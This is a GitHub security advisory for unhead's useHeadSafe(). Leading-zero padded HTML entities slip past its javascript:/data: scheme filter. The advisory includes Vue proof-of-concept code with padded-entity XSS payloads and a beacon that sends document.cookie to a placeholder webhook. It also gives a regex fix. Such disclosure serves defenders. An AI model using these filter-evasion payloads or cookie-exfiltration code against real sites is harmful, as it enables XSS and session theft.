{"id":"GHSA-95h2-gj7x-gx9w","summary":"Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()","details":"##EVIDENCE\n\n\u003cimg width=\"1900\" height=\"855\" alt=\"Screenshot_2026-03-25_090729\" src=\"https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50\" /\u003e\n\u003cimg width=\"1919\" height=\"947\" alt=\"Screenshot_2026-03-25_090715\" src=\"https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40\" /\u003e\n\u003cimg width=\"1918\" height=\"925\" alt=\"Screenshot_2026-03-25_090759\" src=\"https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c\" /\u003e\n\u003cimg width=\"1912\" height=\"812\" alt=\"Screenshot_2026-03-25_090824\" src=\"https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0\" /\u003e\n\u003cimg width=\"1846\" height=\"409\" alt=\"Screenshot_2026-03-22_090617\" src=\"https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9\" /\u003e\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends\nfor rendering user-supplied content in `\u003chead\u003e` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current — vulnerable\nconst HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /&#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `:` — 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `:` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith('javascript:')`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n\u003e **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n\u003e which was an attribute *key* injection via the `data-*` prefix. This finding targets\n\u003e the attribute *value* decoder — a different code path with a different root cause and\n\u003e a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)\n\n```js\nconst HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max\nconst HtmlEntityDec = /&#(\\d{1,7});?/g             // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([§ Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `:` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java:script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 — Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 — Replace `pages/index.vue`\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe bypass PoC\u003c/h1\u003e\n    \u003cp\u003eView page source or run the curl command below.\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from '#imports'\n\nuseHeadSafe({\n  link: [\n    // 10-digit decimal padding — exceeds \\d{1,7} cap\n    { rel: 'stylesheet', href: 'java:script:alert(1)' },\n\n    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap\n    { rel: 'icon', href: 'data:text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e' }\n  ]\n})\n\u003c/script\u003e\n```\n\n### Step 3 — Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep '\u003clink'\n```\n\n### Expected result (safe)\n\nTags stripped entirely, or schemes rewritten to safe placeholder values.\n\n### Actual result (vulnerable)\n\n```html\n\u003clink href=\"java:script:alert(1)\" rel=\"stylesheet\"\u003e\n\u003clink href=\"data:text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\" rel=\"icon\"\u003e\n```\n\nBoth `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()`\nblocklist — are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `\u003clink\u003e` tags does not occur automatically — browsers\ndo not create a browsing context from `\u003clink href\u003e`. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `\u003clink\u003e` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `\u003clink\u003e` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet — representative\nof any downstream consumer that forwards `\u003clink href\u003e` into an iframe — triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a \u003clink\u003e href\nconst link = document.querySelector('link[rel=\"icon\"]');\nif (link) {\n  const iframe = document.createElement('iframe');\n  iframe.src = link.href; // browser decodes : → ':', constructs data: URI\n  document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n\u003e Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe padded entity bypass — full PoC\u003c/h1\u003e\n    \u003cp\u003e\u003cstrong\u003eDummy cookie:\u003c/strong\u003e \u003ccode id=\"cookie-display\"\u003eLoading…\u003c/code\u003e\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from '#imports'\nimport { onMounted } from 'vue'\n\nonMounted(() =\u003e {\n  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'\n  const el = document.getElementById('cookie-display')\n  if (el) el.textContent = document.cookie\n\n  // Simulate downstream consumption: load the bypassed icon href into an iframe\n  const link = document.querySelector('link[rel=\"icon\"]')\n  if (link) {\n    const iframe = document.createElement('iframe')\n    iframe.src = link.href\n    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'\n    document.body.appendChild(iframe)\n  }\n})\n\nconst webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'\n\nuseHeadSafe({\n  link: [\n    {\n      rel: 'icon',\n      href: `data:text/html;base64,${btoa(`\n        \u003c!DOCTYPE html\u003e\u003chtml\u003e\u003cbody\u003e\u003cscript\u003e\n          alert('XSS via useHeadSafe padded entity bypass');\n          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({\n            finding: 'useHeadSafe hasDangerousProtocol bypass',\n            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',\n            origin: location.origin,\n            ts: Date.now()\n          }));\n        \u003c\\/script\u003e\u003c/body\u003e\u003c/html\u003e\n      `)}`\n    }\n  ]\n})\n\u003c/script\u003e\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe's `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `:` is present unescaped in the SSR-rendered `\u003clink\u003e` tag\n\n\u003e All testing was performed against a local Nuxt development environment on a personal\n\u003e machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt's own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `\u003clink href\u003e` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** — the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. `\u003ca href\u003e`, `\u003cform action\u003e`) is added to the\nsafe attribute whitelist in a future release, this bypass produces **immediately\nexploitable stored XSS** with no additional attacker effort, because the end-to-end\nbypass already works today.\n\n---\n\n## Suggested Fix\n\nRemove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()`\nfunction already validates that decoded codepoints fall within the valid Unicode range\n(`\u003e 0x10FFFF || \u003c 0 || isNaN → ''`), so unbounded digit matching introduces no new\nattack surface — it only ensures that all spec-compliant encodings of a codepoint are\ndecoded before the scheme check runs.\n\n```diff\n- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi\n- const HtmlEntityDec = /&#(\\d{1,7});?/g\n+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi\n+ const HtmlEntityDec = /&#(\\d+);?/g\n```\n\n**File:** `packages/unhead/src/plugins/safe.ts`, lines 10–11\n\nThis is a minimal, low-risk change. No other code in the call path requires modification.\n\n---\n\n## Weaknesses\n\n| CWE | Description |\n|---|---|\n| **CWE-184** | Incomplete List of Disallowed Inputs |\n| **CWE-116** | Improper Encoding or Escaping of Output |\n| **CWE-20** | Improper Input Validation |\n\n---\n\n## References\n\n| Source | Link |\n|---|---|\n| HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |\n| GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |\n| CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |\n| OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |\n| Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |\n| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |\n| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |","aliases":["CVE-2026-39315"],"modified":"2026-04-09T20:41:24.335154Z","published":"2026-04-09T20:28:05Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-09T20:28:05Z","nvd_published_at":"2026-04-09T18:17:01Z","cwe_ids":["CWE-184"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39315"},{"type":"WEB","url":"https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299"},{"type":"PACKAGE","url":"https://github.com/unjs/unhead"},{"type":"WEB","url":"https://github.com/unjs/unhead/releases/tag/v2.1.13"}],"affected":[{"package":{"name":"unhead","ecosystem":"npm","purl":"pkg:npm/unhead"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-95h2-gj7x-gx9w/GHSA-95h2-gj7x-gx9w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}